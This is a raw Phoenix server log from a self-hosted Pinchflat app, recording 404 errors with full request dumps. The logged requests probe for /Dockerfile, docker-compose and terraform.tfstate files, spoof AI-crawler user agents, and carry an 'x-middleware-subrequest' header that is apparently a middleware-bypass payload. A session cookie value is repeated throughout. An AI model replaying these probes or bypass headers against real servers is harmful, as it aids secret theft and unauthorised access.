"https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:p (truncated) 16:49:06.793 [error] #PID<0.29635.0> running PinchflatWeb.Endpoint (connection #PID<0.29634.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /Dockerfile ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Dockerfile (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29634.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Dockerfile", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33838}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29635.0>, params: %{}, path_info: ["Dockerfile"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/Dockerfile", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61YddLkREmUMAAH9D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29634.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Dockerfile", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33838}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Dockerfile (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29634.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Dockerfile", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33838}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:06.851 [info] GET /docker-compose.yml 16:49:06.851 [debug] QUERY OK source="settings" db=0.1ms idle=98.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.851 [debug] QUERY OK source="settings" db=0.0ms idle=59.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.851 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.852 [error] #PID<0.29637.0> running PinchflatWeb.Endpoint (connection #PID<0.29636.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /docker-compose.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29636.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33848}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29637.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/docker-compose.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61YrbnfNM4aoABv8h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29636.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33848}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29636.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33848}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 16:49:06.894 [info] GET /terraform.tfstate 16:49:06.894 [debug] QUERY OK source="settings" db=0.1ms idle=101.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.894 [debug] QUERY OK source="settings" db=0.0ms idle=101.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.894 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.894 [error] #PID<0.29639.0> running PinchflatWeb.Endpoint (connection #PID<0.29638.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /terraform.tfstate ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /terraform (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29638.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform.tfstate", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29639.0>, params: %{}, path_info: ["terraform"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/terraform.tfstate", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Y1pMcQXavwABv9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29638.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform.tfstate", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /terraform (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29638.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform.tfstate", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33852}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" (truncated) 16:49:06.925 [info] GET /docker-compose.yaml 16:49:06.925 [debug] QUERY OK source="settings" db=0.1ms idle=132.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.925 [debug] QUERY OK source="settings" db=0.1ms idle=73.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.925 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.925 [error] #PID<0.29641.0> running PinchflatWeb.Endpoint (connection #PID<0.29640.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /docker-compose.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker-compose (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29640.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker-compose.yaml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33860}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29641.0>, params: %{}, path_info: ["docker-compose"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/docker-compose.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Y9D89taoEwABv9h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 